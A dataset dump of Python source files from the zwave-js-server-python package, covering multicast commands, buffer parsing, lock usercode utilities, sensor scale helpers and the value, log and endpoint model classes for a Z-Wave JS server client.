code
stringlengths
1
5.19M
package
stringlengths
1
81
path
stringlengths
9
304
filename
stringlengths
4
145
"""Support for multicast commands.""" from __future__ import annotations from typing import Any, cast from ..client import Client from ..const import CommandClass from ..model.node import Node, _get_value_id_dict_from_value_data from ..model.value import SetValueResult, ValueDataType async def _async_send_command( client: Client, command: str, nodes: list[Node] | None = None, require_schema: int | None = None, **kwargs: Any, ) -> dict: """Send a multicast command.""" if nodes: cmd = { "command": f"multicast_group.{command}", "nodeIDs": [node.node_id for node in nodes], **kwargs, } else: cmd = {"command": f"broadcast_node.{command}", **kwargs} return await client.async_send_command(cmd, require_schema) async def async_multicast_set_value( client: Client, new_value: Any, value_data: ValueDataType, nodes: list[Node] | None = None, options: dict | None = None, ) -> SetValueResult: """Send a multicast set_value command.""" result = await _async_send_command( client, "set_value", nodes, valueId=_get_value_id_dict_from_value_data(value_data), value=new_value, options=options, require_schema=29, ) return SetValueResult(result["result"]) async def async_multicast_get_endpoint_count( client: Client, nodes: list[Node] | None = None ) -> int: """Send a multicast get_endpoint_count command.""" result = await _async_send_command( client, "get_endpoint_count", nodes, require_schema=5 ) return cast(int, result["count"]) async def async_multicast_endpoint_supports_cc( client: Client, endpoint: int, command_class: CommandClass, nodes: list[Node] | None = None, ) -> bool: """Send a supports_cc command to a multicast endpoint.""" result = await _async_send_command( client, "supports_cc", nodes, index=endpoint, commandClass=command_class, require_schema=5, ) return cast(bool, result["supported"]) async def async_multicast_endpoint_get_cc_version( client: Client, endpoint: int, command_class: CommandClass, nodes: list[Node] | None = None, ) -> int: """Send a get_cc_version command to a multicast endpoint.""" result = await _async_send_command( client, "get_cc_version", nodes, index=endpoint, commandClass=command_class, require_schema=5, ) return cast(int, result["version"]) async def async_multicast_endpoint_invoke_cc_api( client: Client, endpoint: int, command_class: CommandClass, method_name: str, args: list[Any] | None = None, nodes: list[Node] | None = None, ) -> Any: """Send a invoke_cc_api command to a multicast endpoint.""" result = await _async_send_command( client, "invoke_cc_api", nodes, index=endpoint, commandClass=command_class, methodName=method_name, args=args, require_schema=5, ) return result["response"] async def async_multicast_endpoint_supports_cc_api( client: Client, endpoint: int, command_class: CommandClass, nodes: list[Node] | None = None, ) -> bool: """Send a supports_cc_api command to a multicast endpoint.""" result = await _async_send_command( client, "supports_cc_api", nodes, index=endpoint, commandClass=command_class, require_schema=5, ) return cast(bool, result["supported"])
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/util/multicast.py
multicast.py
"""Generic Utility helper functions.""" from __future__ import annotations import base64 import json from typing import Any from ..exceptions import UnparseableValue def is_json_string(value: Any) -> bool: """Check if the provided string looks like json.""" # NOTE: we do not use json.loads here as it is not strict enough return isinstance(value, str) and value.startswith("{") and value.endswith("}") def convert_bytes_to_base64(data: bytes) -> str: """Convert bytes data to base64 for serialization.""" return base64.b64encode(data).decode("ascii") def convert_base64_to_bytes(data: str) -> bytes: """Convert base64 data to bytes for deserialization.""" return base64.b64decode(data) def parse_buffer(value: dict[str, Any] | str) -> str: """Parse value from a buffer data type.""" if isinstance(value, dict): return parse_buffer_from_dict(value) if is_json_string(value): return parse_buffer_from_json(value) return value def parse_buffer_from_dict(value: dict[str, Any]) -> str: """Parse value dictionary from a buffer data type.""" if value.get("type") != "Buffer" or "data" not in value: raise UnparseableValue(f"Unparseable value: {value}") from ValueError( "JSON does not match expected schema" ) return "".join([chr(x) for x in value["data"]]) def parse_buffer_from_json(value: str) -> str: """Parse value string from a buffer data type.""" try: return parse_buffer_from_dict(json.loads(value)) except ValueError as err: raise UnparseableValue(f"Unparseable value: {value}") from err
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/util/helpers.py
helpers.py
"""Utility functions for Z-Wave JS locks.""" from __future__ import annotations from typing import TypedDict, cast from ..const import CommandClass from ..const.command_class.lock import ( ATTR_CODE_SLOT, ATTR_IN_USE, ATTR_NAME, ATTR_USERCODE, LOCK_USERCODE_PROPERTY, LOCK_USERCODE_STATUS_PROPERTY, CodeSlotStatus, ) from ..exceptions import NotFoundError from ..model.node import Node from ..model.value import SetValueResult, Value, get_value_id_str def get_code_slot_value(node: Node, code_slot: int, property_name: str) -> Value: """Get a code slot value.""" value = node.values.get( get_value_id_str( node, CommandClass.USER_CODE, property_name, endpoint=0, property_key=code_slot, ) ) if not value: raise NotFoundError(f"{property_name} for code slot {code_slot} not found") return value class CodeSlot(TypedDict, total=False): """Represent a code slot.""" code_slot: int # required name: str # required in_use: bool | None # required usercode: str | None def _get_code_slots(node: Node, include_usercode: bool = False) -> list[CodeSlot]: """Get all code slots on the lock and optionally include usercode.""" code_slot = 1 slots: list[CodeSlot] = [] # Loop until we can't find a code slot while True: try: value = get_code_slot_value(node, code_slot, LOCK_USERCODE_PROPERTY) status_value = get_code_slot_value( node, code_slot, LOCK_USERCODE_STATUS_PROPERTY ) except NotFoundError: return slots code_slot = int(value.property_key) # type: ignore in_use = ( None if status_value.value is None else status_value.value == CodeSlotStatus.ENABLED ) # we know that code slots will always have a property key # that is an int, so we can ignore mypy slot = { ATTR_CODE_SLOT: code_slot, ATTR_NAME: value.metadata.label, ATTR_IN_USE: in_use, } if include_usercode: slot[ATTR_USERCODE] = value.value slots.append(cast(CodeSlot, slot)) code_slot += 1 def get_code_slots(node: Node) -> list[CodeSlot]: """Get all code slots on the lock and whether or not they are used.""" return _get_code_slots(node, False) def get_usercodes(node: Node) -> list[CodeSlot]: """Get all code slots and usercodes on the lock.""" return _get_code_slots(node, True) def get_usercode(node: Node, code_slot: int) -> CodeSlot: """Get usercode from slot X on the lock.""" value = get_code_slot_value(node, code_slot, LOCK_USERCODE_PROPERTY) status_value = get_code_slot_value(node, code_slot, LOCK_USERCODE_STATUS_PROPERTY) code_slot = int(value.property_key) # type: ignore in_use = ( None if status_value.value is None else status_value.value == CodeSlotStatus.ENABLED ) return cast( CodeSlot, { ATTR_CODE_SLOT: code_slot, ATTR_NAME: value.metadata.label, ATTR_IN_USE: in_use, ATTR_USERCODE: value.value, }, ) async def get_usercode_from_node(node: Node, code_slot: int) -> CodeSlot: """ Fetch a usercode directly from a node. Should be used when Z-Wave JS's ValueDB hasn't been populated for this code slot. This call will populate the ValueDB and trigger value update events from the driver. """ await node.async_invoke_cc_api( CommandClass.USER_CODE, "get", code_slot, wait_for_result=True ) return get_usercode(node, code_slot) async def set_usercode( node: Node, code_slot: int, usercode: str ) -> SetValueResult | None: """Set the usercode to index X on the lock.""" value = get_code_slot_value(node, code_slot, LOCK_USERCODE_PROPERTY) if len(str(usercode)) < 4: raise ValueError("User code must be at least 4 digits") return await node.async_set_value(value, usercode) async def clear_usercode(node: Node, code_slot: int) -> SetValueResult | None: """Clear a code slot on the lock.""" value = get_code_slot_value(node, code_slot, LOCK_USERCODE_STATUS_PROPERTY) return await node.async_set_value(value, CodeSlotStatus.AVAILABLE.value)
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/util/lock.py
lock.py
"""Utility module for zwave-js-server."""
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/util/__init__.py
__init__.py
"""Meter Command Class specific utility functions for values.""" from __future__ import annotations from ...const import CommandClass from ...const.command_class.meter import ( CC_SPECIFIC_METER_TYPE, CC_SPECIFIC_SCALE, METER_TYPE_TO_SCALE_ENUM_MAP, MeterScaleType, MeterType, ) from ...exceptions import InvalidCommandClass, UnknownValueData from ...model.value import Value def get_meter_type(value: Value) -> MeterType: """Get the MeterType for a given value.""" if value.command_class != CommandClass.METER: raise InvalidCommandClass(value, CommandClass.METER) try: return MeterType(value.metadata.cc_specific[CC_SPECIFIC_METER_TYPE]) except ValueError: raise UnknownValueData( value, f"metadata.cc_specific.{CC_SPECIFIC_METER_TYPE}" ) from None def get_meter_scale_type(value: Value) -> MeterScaleType: """Get the ScaleType for a given value.""" meter_type = get_meter_type(value) scale_enum = METER_TYPE_TO_SCALE_ENUM_MAP[meter_type] try: return scale_enum(value.metadata.cc_specific[CC_SPECIFIC_SCALE]) except ValueError: raise UnknownValueData( value, f"metadata.cc_specific.{CC_SPECIFIC_SCALE}" ) from None
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/util/command_class/meter.py
meter.py
"""Multilevel Sensor Command Class specific utility functions for values.""" from __future__ import annotations from ...const import CommandClass from ...const.command_class.multilevel_sensor import ( CC_SPECIFIC_SCALE, CC_SPECIFIC_SENSOR_TYPE, MULTILEVEL_SENSOR_TYPE_TO_SCALE_MAP, MultilevelSensorScaleType, MultilevelSensorType, ) from ...exceptions import InvalidCommandClass, UnknownValueData from ...model.value import Value def get_multilevel_sensor_type(value: Value) -> MultilevelSensorType: """Get the MultilevelSensorType for a given value.""" if value.command_class != CommandClass.SENSOR_MULTILEVEL: raise InvalidCommandClass(value, CommandClass.SENSOR_MULTILEVEL) try: return MultilevelSensorType(value.metadata.cc_specific[CC_SPECIFIC_SENSOR_TYPE]) except ValueError: raise UnknownValueData( value, f"metadata.cc_specific.{CC_SPECIFIC_SENSOR_TYPE}" ) from None def get_multilevel_sensor_scale_type(value: Value) -> MultilevelSensorScaleType: """Get the ScaleType for a given value.""" sensor_type = get_multilevel_sensor_type(value) scale_enum = MULTILEVEL_SENSOR_TYPE_TO_SCALE_MAP[sensor_type] try: return scale_enum(value.metadata.cc_specific[CC_SPECIFIC_SCALE]) except ValueError: raise UnknownValueData( value, f"metadata.cc_specific.{CC_SPECIFIC_SCALE}" ) from None
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/util/command_class/multilevel_sensor.py
multilevel_sensor.py
"""Module for Command Class specific utility functions."""
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/util/command_class/__init__.py
__init__.py
"""Energy Production Command Class specific utility functions for values.""" from __future__ import annotations from ...const import CommandClass from ...const.command_class.energy_production import ( CC_SPECIFIC_PARAMETER, CC_SPECIFIC_SCALE, ENERGY_PRODUCTION_PARAMETER_TO_SCALE_ENUM_MAP, EnergyProductionParameter, EnergyProductionScaleType, ) from ...exceptions import InvalidCommandClass, UnknownValueData from ...model.value import Value def get_energy_production_parameter(value: Value) -> EnergyProductionParameter: """Get the EnergyProductionParameter for a given value.""" if value.command_class != CommandClass.ENERGY_PRODUCTION: raise InvalidCommandClass(value, CommandClass.ENERGY_PRODUCTION) try: return EnergyProductionParameter( value.metadata.cc_specific[CC_SPECIFIC_PARAMETER] ) except ValueError: raise UnknownValueData( value, f"metadata.cc_specific.{CC_SPECIFIC_PARAMETER}" ) from None def get_energy_production_scale_type(value: Value) -> EnergyProductionScaleType: """Get the ScaleType for a given value.""" parameter = get_energy_production_parameter(value) scale_enum = ENERGY_PRODUCTION_PARAMETER_TO_SCALE_ENUM_MAP[parameter] try: return scale_enum(value.metadata.cc_specific[CC_SPECIFIC_SCALE]) except ValueError: raise UnknownValueData( value, f"metadata.cc_specific.{CC_SPECIFIC_SCALE}" ) from None
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/util/command_class/energy_production.py
energy_production.py
"""Provide a model for the Z-Wave JS value.""" from __future__ import annotations from dataclasses import dataclass, field from enum import StrEnum from typing import TYPE_CHECKING, Any, TypedDict from ..const import VALUE_UNKNOWN, CommandClass, ConfigurationValueType, SetValueStatus from ..event import Event from ..util.helpers import parse_buffer from .duration import Duration, DurationDataType if TYPE_CHECKING: from .node import Node class ValueType(StrEnum): """Enum with all value types.""" ANY = "any" BOOLEAN = "boolean" NUMBER = "number" STRING = "string" class MetaDataType(TypedDict, total=False): """Represent a metadata data dict type.""" type: str # required readable: bool # required writeable: bool # required description: str label: str min: int | None max: int | None unit: str states: dict[str, str] ccSpecific: dict[str, Any] valueChangeOptions: list[str] allowManualEntry: bool valueSize: int stateful: bool secret: bool class ValueDataType(TypedDict, total=False): """Represent a value data dict type.""" commandClass: int # required commandClassName: str # required endpoint: int property: int | str # required propertyName: str # required propertyKey: int | str propertyKeyName: str value: Any newValue: Any prevValue: Any metadata: MetaDataType # required ccVersion: int # required def _init_value(node: "Node", val: ValueDataType) -> "Value" | "ConfigurationValue": """Initialize a Value object from ValueDataType.""" if val["commandClass"] == CommandClass.CONFIGURATION: return ConfigurationValue(node, val) return Value(node, val) def _get_value_id_str_from_dict(node: "Node", val: ValueDataType) -> str: """Return string ID of value from ValueDataType dict.""" return get_value_id_str( node, val["commandClass"], val["property"], val.get("endpoint"), val.get("propertyKey"), ) def get_value_id_str( node: "Node", command_class: int, property_: int | str, endpoint: int | None = None, property_key: int | str | None = None, ) -> str: """Return string ID of value.""" # If endpoint is not provided, assume root endpoint endpoint_ = endpoint or 0 value_id = f"{node.node_id}-{command_class}-{endpoint_}-{property_}" # Property key is only included when it has a value if property_key is not None: value_id += f"-{property_key}" return value_id class ValueMetadata: """Represent metadata on a value instance.""" def __init__(self, data: MetaDataType) -> None: """Initialize metadata.""" self.data = data @property def type(self) -> str: """Return type.""" return self.data["type"] @property def readable(self) -> bool | None: """Return readable.""" return self.data.get("readable") @property def writeable(self) -> bool | None: """Return writeable.""" return self.data.get("writeable") @property def label(self) -> str | None: """Return label.""" return self.data.get("label") @property def description(self) -> str | None: """Return description.""" return self.data.get("description") @property def min(self) -> int | None: """Return min.""" return self.data.get("min") @property def max(self) -> int | None: """Return max.""" return self.data.get("max") @property def unit(self) -> str | None: """Return unit.""" return self.data.get("unit") @property def states(self) -> dict: """Return (optional) states.""" return self.data.get("states", {}) @property def cc_specific(self) -> dict[str, Any]: """Return ccSpecific.""" return self.data.get("ccSpecific", {}) @property def value_change_options(self) -> list[str]: """Return valueChangeOptions.""" return self.data.get("valueChangeOptions", []) @property def allow_manual_entry(self) -> bool | None: """Return allowManualEntry.""" return self.data.get("allowManualEntry") @property def value_size(self) -> int | None: """Return valueSize.""" return self.data.get("valueSize") @property def stateful(self) -> bool | None: """Return stateful.""" return self.data.get("stateful") @property def secret(self) -> bool | None: """Return secret.""" return self.data.get("secret") def update(self, data: MetaDataType) -> None: """Update data.""" self.data.update(data) class Value: """Represent a Z-Wave JS value.""" def __init__(self, node: "Node", data: ValueDataType) -> None: """Initialize value.""" self.node = node self.data: ValueDataType = {} self._value: Any = None self._metadata = ValueMetadata({"type": "unknown"}) self.update(data) def __repr__(self) -> str: """Return the representation.""" return f"{type(self).__name__}(value_id={self.value_id!r})" def __hash__(self) -> int: """Return the hash.""" return hash((self.node, self.value_id)) def __eq__(self, other: object) -> bool: """Return whether this instance equals another.""" if not isinstance(other, Value): return False return self.node == other.node and self.value_id == other.value_id @property def value_id(self) -> str: """Return value ID.""" return _get_value_id_str_from_dict(self.node, self.data) @property def metadata(self) -> ValueMetadata: """Return value metadata.""" return self._metadata @property def value(self) -> Any | None: """Return value.""" # Treat unknown values like they are None if self._value == VALUE_UNKNOWN: return None return self._value @property def command_class_name(self) -> str: """Return commandClassName.""" return self.data["commandClassName"] @property def command_class(self) -> int: """Return commandClass.""" return self.data["commandClass"] @property def cc_version(self) -> int: """Return commandClass version.""" return self.data["ccVersion"] @property def endpoint(self) -> int | None: """Return endpoint.""" return self.data.get("endpoint") @property def property_(self) -> int | str: """Return property. Note the underscore in the end of this property name. That's there to not confuse Python to think it's a property decorator. """ return self.data["property"] @property def property_key(self) -> int | str | None: """Return propertyKey.""" return self.data.get("propertyKey") @property def property_name(self) -> str | None: """Return propertyName.""" return self.data.get("propertyName") @property def property_key_name(self) -> str | None: """Return propertyKeyName.""" return self.data.get("propertyKeyName") def receive_event(self, event: Event) -> None: """Receive an event.""" self.update(event.data["args"]) def update(self, data: ValueDataType) -> None: """Update data.""" self.data.update(data) self.data.pop("prevValue", None) if "newValue" in self.data: self.data["value"] = self.data.pop("newValue") if "metadata" in data: self._metadata.update(data["metadata"]) self._value = self.data.get("value") # Handle buffer dict and json string in value. if self._value is not None and self.metadata.type == "buffer": self._value = parse_buffer(self._value) class ValueNotification(Value): """ Model for a Value Notification message. https://zwave-js.github.io/node-zwave-js/#/api/node?id=quotvalue-notificationquot """ # format is the same as a Value message, subclassed for easier identifying and future use class ConfigurationValue(Value): """Model for a Configuration Value.""" @property def configuration_value_type(self) -> ConfigurationValueType: """Return configuration value type.""" min_ = self.metadata.min max_ = self.metadata.max states = self.metadata.states allow_manual_entry = self.metadata.allow_manual_entry type_ = self.metadata.type if (max_ == 1 and min_ == 0 or type_ == ValueType.BOOLEAN) and not states: return ConfigurationValueType.BOOLEAN if ( allow_manual_entry and not max_ == min_ == 0 and not (max_ is None and min_ is None) ): return ConfigurationValueType.MANUAL_ENTRY if states: return ConfigurationValueType.ENUMERATED if (max_ is not None or min_ is not None) and not max_ == min_ == 0: return ConfigurationValueType.RANGE return ConfigurationValueType.UNDEFINED class SetValueResultDataType(TypedDict, total=False): """Represent a setValue result data dict type.""" # https://github.com/zwave-js/node-zwave-js/blob/v11-dev/packages/cc/src/lib/API.ts#L103 status: int # required remainingDuration: DurationDataType message: str @dataclass class SetValueResult: """Result from setValue command.""" data: SetValueResultDataType status: SetValueStatus = field(init=False) remaining_duration: Duration | None = field(init=False) message: str | None = field(init=False) def __post_init__(self) -> None: """Post init.""" self.status = SetValueStatus(self.data["status"]) self.remaining_duration = ( Duration(duration_data) if (duration_data := self.data.get("remainingDuration")) else None ) self.message = self.data.get("message") def __repr__(self) -> str: """Return the representation.""" status = self.status.name.replace("_", " ").title() if self.status == SetValueStatus.WORKING: assert self.remaining_duration return f"{status} ({self.remaining_duration})" if self.status in ( SetValueStatus.ENDPOINT_NOT_FOUND, SetValueStatus.INVALID_VALUE, SetValueStatus.NOT_IMPLEMENTED, ): assert self.message return f"{status}: {self.message}" return status
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/value.py
value.py
"""Provide a model for the log config.""" from __future__ import annotations from dataclasses import dataclass from typing import TypedDict, cast from ..const import LogLevel class LogConfigDataType(TypedDict, total=False): """Represent a log config data dict type.""" enabled: bool level: str logToFile: bool filename: str forceConsole: bool @dataclass class LogConfig: """Represent a log config dict type.""" # https://github.com/zwave-js/node-zwave-js/blob/master/packages/core/src/log/shared.ts#L85 # Must include at least one key enabled: bool | None = None level: LogLevel | None = None log_to_file: bool | None = None filename: str | None = None force_console: bool | None = None def to_dict(self) -> LogConfigDataType: """Return LogConfigDataType dict from self.""" data = { "enabled": self.enabled, "level": self.level.value if self.level else None, "logToFile": self.log_to_file, "filename": self.filename, "forceConsole": self.force_console, } return cast(LogConfigDataType, {k: v for k, v in data.items() if v is not None}) @classmethod def from_dict(cls, data: LogConfigDataType) -> "LogConfig": """Return LogConfig from LogConfigDataType dict.""" return cls( data.get("enabled"), LogLevel(data["level"]) if "level" in data else None, data.get("logToFile"), data.get("filename"), data.get("forceConsole"), )
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/log_config.py
log_config.py
"""Provide a model for a log message event.""" from __future__ import annotations from dataclasses import dataclass, field from typing import Literal, TypedDict from ..const import CommandClass class LogMessageContextDataType(TypedDict, total=False): """Represent a log message context data dict type.""" source: Literal["config", "serial", "controller", "driver"] # required type: Literal["controller", "value", "node"] nodeId: int header: str direction: Literal["inbound", "outbound", "none"] change: Literal["added", "removed", "updated", "notification"] internal: bool endpoint: int commandClass: int property: int | str propertyKey: int | str @dataclass class LogMessageContext: """Represent log message context information.""" data: LogMessageContextDataType source: Literal["config", "serial", "controller", "driver"] = field(init=False) type: Literal["controller", "value", "node"] | None = field(init=False) node_id: int | None = field(init=False) header: str | None = field(init=False) direction: Literal["inbound", "outbound", "none"] | None = field(init=False) change: Literal["added", "removed", "updated", "notification"] | None = field( init=False ) internal: bool | None = field(init=False) endpoint: int | None = field(init=False) command_class: CommandClass | None = field(init=False, default=None) property_: int | str | None = field(init=False) property_key: int | str | None = field(init=False) def __post_init__(self) -> None: """Post initialize.""" self.source = self.data["source"] self.type = self.data.get("type") self.node_id = self.data.get("nodeId") self.header = self.data.get("header") self.direction = self.data.get("direction") self.change = self.data.get("change") self.internal = self.data.get("internal") self.endpoint = self.data.get("endpoint") if (command_class := self.data.get("commandClass")) is not None: self.command_class = CommandClass(command_class) self.property_ = self.data.get("property") self.property_key = self.data.get("propertyKey") class LogMessageDataType(TypedDict, total=False): """Represent a log message data dict type.""" source: Literal["driver"] # required event: Literal["logging"] # required message: str | list[str] # required formattedMessage: str | list[str] # required direction: str # required level: str # required context: LogMessageContextDataType # required primaryTags: str secondaryTags: str secondaryTagPadding: int multiline: bool timestamp: str label: str def _process_message(message: str | list[str]) -> list[str]: """Process a message and always return a list.""" if isinstance(message, str): return str(message).splitlines() # We will assume each item in the array is on a separate line so we can # remove trailing line breaks return [message.rstrip("\n") for message in message] @dataclass class LogMessage: """Represent a log message.""" data: LogMessageDataType message: list[str] = field(init=False) formatted_message: list[str] = field(init=False) direction: str = field(init=False) level: str = field(init=False) context: LogMessageContext = field(init=False) primary_tags: str | None = field(init=False) secondary_tags: str | None = field(init=False) secondary_tag_padding: int | None = field(init=False) multiline: bool | None = field(init=False) timestamp: str | None = field(init=False) label: str | None = field(init=False) def __post_init__(self) -> None: """Post initialize.""" self.message = _process_message(self.data["message"]) self.formatted_message = _process_message(self.data["formattedMessage"]) self.direction = self.data["direction"] self.level = self.data["level"] self.context = LogMessageContext(self.data["context"]) self.primary_tags = self.data.get("primaryTags") self.secondary_tags = self.data.get("secondaryTags") self.secondary_tag_padding = self.data.get("secondaryTagPadding") self.multiline = self.data.get("multiline") self.timestamp = self.data.get("timestamp") self.label = self.data.get("label")
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/log_message.py
log_message.py
""" Model for Zwave Command Class Info. https://zwave-js.github.io/node-zwave-js/#/api/endpoint?id=commandclasses """ from __future__ import annotations from typing import TypedDict from ..const import CommandClass class CommandClassInfoDataType(TypedDict): """Represent a command class info data dict type.""" id: int name: str version: int isSecure: bool class CommandClassInfo: """Model for a Zwave CommandClass Info.""" def __init__(self, data: CommandClassInfoDataType) -> None: """Initialize.""" self.data = data @property def id(self) -> int: """Return CommandClass ID.""" return self.data["id"] @property def command_class(self) -> CommandClass: """Return CommandClass.""" return CommandClass(self.id) @property def name(self) -> str: """Return friendly name for CommandClass.""" return self.data["name"] @property def version(self) -> int: """Return the CommandClass version used on this node/endpoint.""" return self.data["version"] @property def is_secure(self) -> bool: """Return if the CommandClass is used securely on this node/endpoint.""" return self.data["isSecure"]
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/command_class.py
command_class.py
""" Model for a Zwave Node's device class. https://zwave-js.github.io/node-zwave-js/#/api/node?id=deviceclass """ from __future__ import annotations from dataclasses import dataclass from typing import TypedDict class DeviceClassItemDataType(TypedDict): """Represent a device class data dict type.""" key: int label: str class DeviceClassDataType(TypedDict): """Represent a device class data dict type.""" basic: DeviceClassItemDataType generic: DeviceClassItemDataType specific: DeviceClassItemDataType mandatorySupportedCCs: list[int] mandatoryControlledCCs: list[int] @dataclass class DeviceClassItem: """Model for a DeviceClass item (e.g. basic or generic).""" key: int label: str class DeviceClass: """Model for a Zwave Node's device class.""" def __init__(self, data: DeviceClassDataType) -> None: """Initialize.""" self.data = data @property def basic(self) -> DeviceClassItem: """Return basic DeviceClass.""" return DeviceClassItem(**self.data["basic"]) @property def generic(self) -> DeviceClassItem: """Return generic DeviceClass.""" return DeviceClassItem(**self.data["generic"]) @property def specific(self) -> DeviceClassItem: """Return specific DeviceClass.""" return DeviceClassItem(**self.data["specific"]) @property def mandatory_supported_ccs(self) -> list[int]: """Return list of mandatory Supported CC id's.""" return self.data["mandatorySupportedCCs"] @property def mandatory_controlled_ccs(self) -> list[int]: """Return list of mandatory Controlled CC id's.""" return self.data["mandatoryControlledCCs"]
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/device_class.py
device_class.py
"""Provide a model for the association.""" from __future__ import annotations from dataclasses import dataclass, field @dataclass class AssociationGroup: """Represent a association group dict type.""" max_nodes: int is_lifeline: bool multi_channel: bool label: str profile: int | None = None issued_commands: dict[int, list[int]] = field(default_factory=dict) @dataclass class AssociationAddress: """Represent a association dict type.""" node_id: int endpoint: int | None = None
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/association.py
association.py
""" Model for a Zwave Node's endpoints. https://zwave-js.github.io/node-zwave-js/#/api/endpoint?id=endpoint-properties """ from __future__ import annotations from typing import TYPE_CHECKING, Any, TypedDict, cast from ..const import NodeStatus from ..event import EventBase from ..exceptions import FailedCommand, NotFoundError from .command_class import CommandClass, CommandClassInfo, CommandClassInfoDataType from .device_class import DeviceClass, DeviceClassDataType from .value import ConfigurationValue, Value if TYPE_CHECKING: from ..client import Client from .node.data_model import NodeDataType class EndpointDataType(TypedDict, total=False): """Represent an endpoint data dict type.""" nodeId: int # required index: int # required deviceClass: DeviceClassDataType | None installerIcon: int userIcon: int endpointLabel: str commandClasses: list[CommandClassInfoDataType] # required class Endpoint(EventBase): """Model for a Zwave Node's endpoint.""" def __init__( self, client: "Client", data: EndpointDataType, values: dict[str, ConfigurationValue | Value], ) -> None: """Initialize.""" super().__init__() self.client = client self.data: EndpointDataType = data self.values: dict[str, ConfigurationValue | Value] = {} self.update(data, values) def __repr__(self) -> str: """Return the representation.""" return f"{type(self).__name__}(node_id={self.node_id}, index={self.index})" def __hash__(self) -> int: """Return the hash.""" return hash((self.client.driver, self.node_id, self.index)) def __eq__(self, other: object) -> bool: """Return whether this instance equals another.""" if not isinstance(other, Endpoint): return False return ( self.client.driver == other.client.driver and self.node_id == other.node_id and self.index == other.index ) @property def node_id(self) -> int: """Return node ID property.""" return self.data["nodeId"] @property def index(self) -> int: """Return index property.""" return self.data["index"] @property def device_class(self) -> DeviceClass | None: """Return the device_class.""" if (device_class := self.data.get("deviceClass")) is None: return None return DeviceClass(device_class) @property def installer_icon(self) -> int | None: """Return installer icon property.""" return self.data.get("installerIcon") @property def user_icon(self) -> int | None: """Return user icon property.""" return self.data.get("userIcon") @property def command_classes(self) -> list[CommandClassInfo]: """Return all CommandClasses supported on this node.""" return [CommandClassInfo(cc) for cc in self.data["commandClasses"]] @property def endpoint_label(self) -> str | None: """Return endpoint label property.""" return self.data.get("endpointLabel") def update( self, data: EndpointDataType, values: dict[str, ConfigurationValue | Value] ) -> None: """Update the endpoint data.""" self.data = data # Remove stale values self.values = { value_id: val for value_id, val in self.values.items() if value_id in values } # Populate new values for value_id, value in values.items(): if value_id not in self.values: self.values[value_id] = value async def async_send_command( self, cmd: str, require_schema: int | None = None, wait_for_result: bool | None = None, **cmd_kwargs: Any, ) -> dict[str, Any] | None: """ Send an endpoint command. For internal use only. If wait_for_result is not None, it will take precedence, otherwise we will decide to wait or not based on the node status. """ if self.client.driver is None: raise FailedCommand( "Command failed", "failed_command", "The client is not connected" ) node = self.client.driver.controller.nodes[self.node_id] kwargs = {} message = { "command": f"endpoint.{cmd}", "nodeId": self.node_id, "endpoint": self.index, **cmd_kwargs, } if require_schema is not None: kwargs["require_schema"] = require_schema if wait_for_result or ( wait_for_result is None and node.status != NodeStatus.ASLEEP ): result = await self.client.async_send_command(message, **kwargs) return result await self.client.async_send_command_no_wait(message, **kwargs) return None async def async_invoke_cc_api( self, command_class: CommandClass, method_name: str, *args: Any, wait_for_result: bool | None = None, ) -> Any: """Call endpoint.invoke_cc_api command.""" if not any(cc.id == command_class.value for cc in self.command_classes): raise NotFoundError( f"Command class {command_class} not found on endpoint {self}" ) result = await self.async_send_command( "invoke_cc_api", commandClass=command_class.value, methodName=method_name, args=list(args), require_schema=7, wait_for_result=wait_for_result, ) if not result: return None return result["response"] async def async_supports_cc_api(self, command_class: CommandClass) -> bool: """Call endpoint.supports_cc_api command.""" result = await self.async_send_command( "supports_cc_api", commandClass=command_class.value, require_schema=7, wait_for_result=True, ) assert result return cast(bool, result["supported"]) async def async_supports_cc(self, command_class: CommandClass) -> bool: """Call endpoint.supports_cc command.""" result = await self.async_send_command( "supports_cc", commandClass=command_class.value, require_schema=23, wait_for_result=True, ) assert result return cast(bool, result["supported"]) async def async_controls_cc(self, command_class: CommandClass) -> bool: """Call endpoint.controls_cc command.""" result = await self.async_send_command( "controls_cc", commandClass=command_class.value, require_schema=23, wait_for_result=True, ) assert result return cast(bool, result["controlled"]) async def async_is_cc_secure(self, command_class: CommandClass) -> bool: """Call endpoint.is_cc_secure command.""" result = await self.async_send_command( "is_cc_secure", commandClass=command_class.value, require_schema=23, wait_for_result=True, ) assert result return cast(bool, result["secure"]) async def async_get_cc_version(self, command_class: CommandClass) -> bool: """Call endpoint.get_cc_version command.""" result = await self.async_send_command( "get_cc_version", commandClass=command_class.value, require_schema=23, wait_for_result=True, ) assert result return cast(bool, result["version"]) async def async_get_node_unsafe(self) -> "NodeDataType": """Call endpoint.get_node_unsafe command.""" result = await self.async_send_command( "get_node_unsafe", require_schema=23, wait_for_result=True, ) assert result return cast("NodeDataType", result["node"])
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/endpoint.py
endpoint.py
